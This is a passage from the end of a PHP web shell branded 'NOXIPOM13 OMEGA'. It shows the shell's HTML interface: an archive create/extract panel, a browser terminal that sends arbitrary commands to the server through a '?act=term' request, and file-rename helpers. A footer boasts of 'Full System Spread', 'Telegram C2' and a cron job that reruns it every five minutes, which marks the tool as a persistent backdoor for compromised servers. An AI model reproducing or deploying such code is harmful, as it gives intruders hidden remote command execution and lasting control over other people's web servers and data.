    <div class="card"><h3>šŸ—œļø ARCHIVE MANAGER</h3><form method="POST" action="?act=archive_create" class="flex"><input type="text" name="archive_files" placeholder="files/dirs, comma separated"><input type="text" name="archive_name" placeholder="output.zip"><button type="submit">CREATE ZIP</button></form><form method="POST" action="?act=archive_extract" class="flex"><input type="text" name="archive_file" placeholder="archive.zip"><input type="text" name="extract_dir" placeholder="destination"><button type="submit">EXTRACT</button></form></div>
    <?php endif; ?>
    
    <div class="card" style="text-align:center; font-size:11px; color:#666;">
        šŸ”± NOXIPOM13 OMEGA v<?= VERSION ?> | Auto-Defense Active | Full System Spread | Telegram C2 | Auto-Cron Every 5 Minutes
    </div>
</div>

<script>
let cmdHistory = []; let histIndex = 0;
function runCommand() {
    let input = document.getElementById('cmdInput');
    let cmd = input.value.trim();
    if (!cmd) return;
    cmdHistory.push(cmd);
    histIndex = cmdHistory.length;
    let logDiv = document.getElementById('termLog');
    logDiv.innerHTML += '<div><span class="prompt"><?= addslashes($cwd) ?># </span>' + escapeHtml(cmd) + '</div>';
    fetch('?act=term', {method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'cmd='+encodeURIComponent(cmd)+'&path=<?= urlencode($cwd) ?>'})
        .then(r=>r.text()).then(d=>{if(d==='__CLEAR__') document.getElementById('termLog').innerHTML=''; else if(d) logDiv.innerHTML+='<pre style="margin:0; padding:4px 0;">'+escapeHtml(d)+'</pre>'; logDiv.scrollTop=logDiv.scrollHeight;
        if(cmd.startsWith('cd ')) fetch('?act=getpath').then(r=>r.text()).then(p=>{document.querySelector('.prompt').innerHTML=escapeHtml(p)+'# '; location.reload();});});
    input.value='';
}
function clearTerminal() { document.getElementById('termLog').innerHTML=''; }
function escapeHtml(t) { let d=document.createElement('div'); d.textContent=t; return d.innerHTML; }
document.getElementById('cmdInput').addEventListener('keydown', function(e){
    if(e.key==='ArrowUp' && histIndex>0){histIndex--; this.value=cmdHistory[histIndex];}
    else if(e.key==='ArrowDown'){if(histIndex<cmdHistory.length-1){histIndex++; this.value=cmdHistory[histIndex];} else if(histIndex===cmdHistory.length-1){histIndex=cmdHistory.length; this.value='';}}
});
function renameFile(oldName) { let newName = prompt("New name:", oldName); if(newName && newName !== oldName) { document.getElementById('oldName').value = oldName; document.getElementById('newName').value = newName; document.getElementById('renameForm').submit(); } }
</script>
</body>
</html>